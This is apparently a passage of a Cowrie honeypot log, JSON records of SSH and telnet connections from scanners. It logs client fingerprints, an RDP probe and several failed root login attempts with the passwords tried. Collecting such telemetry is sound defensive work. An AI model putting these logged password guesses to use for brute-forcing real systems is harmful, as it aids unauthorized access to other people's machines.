{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:10.629313Z","src_ip":"62.173.38.229","session":"7a4d8db9971f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zhangwei","message":"login attempt [root/zhangwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:11.328431Z","src_ip":"62.173.38.229","session":"7a4d8db9971f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:12.497524Z","src_ip":"62.173.38.229","session":"7a4d8db9971f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48794,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d2fea125b1","protocol":"telnet","message":"New connection: 152.42.224.71:48794 (10.17.0.5:23) [session: 57d2fea125b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:18.476224Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":43142,"dst_ip":"10.17.0.5","dst_port":22,"session":"215e976a94b1","protocol":"ssh","message":"New connection: 181.188.176.245:43142 (10.17.0.5:22) [session: 215e976a94b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:38.384058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:38.388368Z","src_ip":"181.188.176.245","session":"215e976a94b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:38.554226Z","src_ip":"181.188.176.245","session":"215e976a94b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yu123456@","message":"login attempt [root/Yu123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:39.253375Z","src_ip":"181.188.176.245","session":"215e976a94b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:40.420984Z","src_ip":"181.188.176.245","session":"215e976a94b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"71.6.232.23","src_port":57914,"dst_ip":"10.17.0.5","dst_port":23,"session":"b36eba13045d","protocol":"telnet","message":"New connection: 71.6.232.23:57914 (10.17.0.5:23) [session: b36eba13045d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:42.641186Z"}
{"eventid":"cowrie.session.closed","duration":27.787602186203003,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:46.263671Z","src_ip":"152.42.224.71","session":"57d2fea125b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.932174444198608,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:50.573225Z","src_ip":"71.6.232.23","session":"b36eba13045d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":50622,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b68c84a3c39","protocol":"ssh","message":"New connection: 43.128.102.61:50622 (10.17.0.5:22) [session: 2b68c84a3c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:50.766429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:50.774099Z","src_ip":"43.128.102.61","session":"2b68c84a3c39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:51.011696Z","src_ip":"43.128.102.61","session":"2b68c84a3c39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy123","message":"login attempt [root/Galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:51.990334Z","src_ip":"43.128.102.61","session":"2b68c84a3c39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:53.231277Z","src_ip":"43.128.102.61","session":"2b68c84a3c39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52717,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bdedd028b3c","protocol":"ssh","message":"New connection: 152.42.212.128:52717 (10.17.0.5:22) [session: 7bdedd028b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:56.895194Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:56.900685Z","src_ip":"152.42.212.128","session":"7bdedd028b3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:56.904806Z","src_ip":"152.42.212.128","session":"7bdedd028b3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.100","src_port":4714,"dst_ip":"159.203.135.109","dst_port":23,"session":"6da652d6f616","protocol":"telnet","message":"New connection: 69.5.169.100:4714 (159.203.135.109:23) [session: 6da652d6f616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:46:58.292551Z"}
{"eventid":"cowrie.session.closed","duration":10.335087776184082,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:08.627535Z","src_ip":"69.5.169.100","session":"6da652d6f616","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":54967,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2c5be16a9af","protocol":"ssh","message":"New connection: 45.66.52.41:54967 (10.17.0.5:22) [session: a2c5be16a9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:17.390235Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:17.395544Z","src_ip":"45.66.52.41","session":"a2c5be16a9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:17.570510Z","src_ip":"45.66.52.41","session":"a2c5be16a9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:18.321632Z","src_ip":"45.66.52.41","session":"a2c5be16a9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:19.610892Z","src_ip":"45.66.52.41","session":"a2c5be16a9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":39306,"dst_ip":"10.17.0.5","dst_port":22,"session":"0118b2f61cae","protocol":"ssh","message":"New connection: 37.233.85.71:39306 (10.17.0.5:22) [session: 0118b2f61cae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:26.108368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:26.112551Z","src_ip":"37.233.85.71","session":"0118b2f61cae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:26.216919Z","src_ip":"37.233.85.71","session":"0118b2f61cae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"basketball","message":"login attempt [root/basketball] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:26.530603Z","src_ip":"37.233.85.71","session":"0118b2f61cae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:27.637613Z","src_ip":"37.233.85.71","session":"0118b2f61cae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":43260,"dst_ip":"10.17.0.5","dst_port":22,"session":"420c328798e2","protocol":"ssh","message":"New connection: 62.173.38.229:43260 (10.17.0.5:22) [session: 420c328798e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:27.963963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:27.968947Z","src_ip":"62.173.38.229","session":"420c328798e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:28.181639Z","src_ip":"62.173.38.229","session":"420c328798e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12151215","message":"login attempt [root/12151215] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:28.942493Z","src_ip":"62.173.38.229","session":"420c328798e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:30.111286Z","src_ip":"62.173.38.229","session":"420c328798e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.5.169.251","src_port":7052,"dst_ip":"10.17.0.5","dst_port":23,"session":"44159aa27efc","protocol":"telnet","message":"New connection: 69.5.169.251:7052 (10.17.0.5:23) [session: 44159aa27efc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:39.496373Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":34126,"dst_ip":"159.203.135.109","dst_port":22,"session":"05adfef87fc1","protocol":"ssh","message":"New connection: 51.250.105.222:34126 (159.203.135.109:22) [session: 05adfef87fc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:47.865495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:47.869771Z","src_ip":"51.250.105.222","session":"05adfef87fc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:47.994913Z","src_ip":"51.250.105.222","session":"05adfef87fc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyasdfgh","message":"login attempt [root/qwertyasdfgh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:48.368781Z","src_ip":"51.250.105.222","session":"05adfef87fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:49.496701Z","src_ip":"51.250.105.222","session":"05adfef87fc1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.458097696304321,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:50.954345Z","src_ip":"69.5.169.251","session":"44159aa27efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":37252,"dst_ip":"10.17.0.5","dst_port":22,"session":"60df72c9bd3b","protocol":"ssh","message":"New connection: 103.176.20.57:37252 (10.17.0.5:22) [session: 60df72c9bd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:58.076024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:47:58.081156Z","src_ip":"103.176.20.57","session":"60df72c9bd3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ct